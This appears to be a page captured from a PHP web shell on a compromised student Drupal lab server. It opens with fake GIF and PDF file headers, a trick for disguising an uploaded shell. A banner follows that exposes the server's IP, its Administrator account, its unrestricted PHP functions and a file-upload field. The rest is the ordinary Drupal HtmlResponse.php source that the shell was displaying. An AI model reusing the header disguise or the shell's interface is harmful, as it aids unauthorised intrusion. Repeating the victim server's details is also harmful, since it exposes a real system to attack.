GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Render/ |
Upload File : |
<?php namespace Drupal\Core\Render; use Drupal\Core\Cache\CacheableMetadata; use Drupal\Core\Cache\CacheableResponseInterface; use Drupal\Core\Cache\CacheableResponseTrait; use Symfony\Component\HttpFoundation\Response; /** * A response that contains and can expose cacheability metadata and attachments. * * Supports Drupal's caching concepts: cache tags for invalidation and cache * contexts for variations. * * Supports Drupal's idea of #attached metadata: libraries, settings, http_header and html_head. * * @see \Drupal\Core\Cache\CacheableResponse * @see \Drupal\Core\Render\AttachmentsInterface * @see \Drupal\Core\Render\AttachmentsTrait */ class HtmlResponse extends Response implements CacheableResponseInterface, AttachmentsInterface { use CacheableResponseTrait; use AttachmentsTrait; /** * {@inheritdoc} */ public function setContent($content) { // A render array can automatically be converted to a string and set the // necessary metadata. if (is_array($content) && (isset($content['#markup']))) { $content += ['#attached' => [ 'html_response_attachment_placeholders' => [], 'placeholders' => []], ]; $this->addCacheableDependency(CacheableMetadata::createFromRenderArray($content)); $this->setAttachments($content['#attached']); $content = $content['#markup']; } return parent::setContent($content); } }